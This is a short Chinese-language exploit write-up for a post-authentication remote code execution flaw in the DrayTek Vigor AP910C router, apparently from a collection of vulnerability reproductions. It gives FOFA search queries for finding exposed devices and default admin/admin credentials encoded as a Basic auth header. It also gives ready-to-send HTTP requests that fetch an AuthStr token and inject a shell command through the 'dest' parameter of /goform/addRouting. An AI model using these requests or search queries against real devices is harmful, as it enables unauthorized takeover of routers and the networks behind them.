D11-1DrayTek-Vigor AP910C 路由器-RCE

漏洞描述：

DrayTek Vigor AP910C 存在后台 RCE 漏洞。攻击者可通过该漏洞在设备任意执行代码写入后门，获取设备权限，进而控制整个设备。

网站图片:

网络测绘:

fofa语法：

header=“realm="VigorAP910C” || banner=“realm="VigorAP910C”

title=“Vigor 2960”

漏洞复现:

Basic认证 弱口令：YWRtaW46YWRtaW4=（admin/admin）登录
获取AuthStr值

GET /opmode.asp HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Authorization: Basic YWRtaW46YWRtaW4=
Referer: http://your-ip
Accept-Encoding: gzip

携带AuthStr命令执行

GET /goform/addRouting?AuthStr=o9RysaqGHLhiAnG&dest=||+echo+$(+ip+addr)%3b%23a HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Authorization: Basic YWRtaW46YWRtaW4=
Referer: http://your-ip
Accept-Encoding: gzip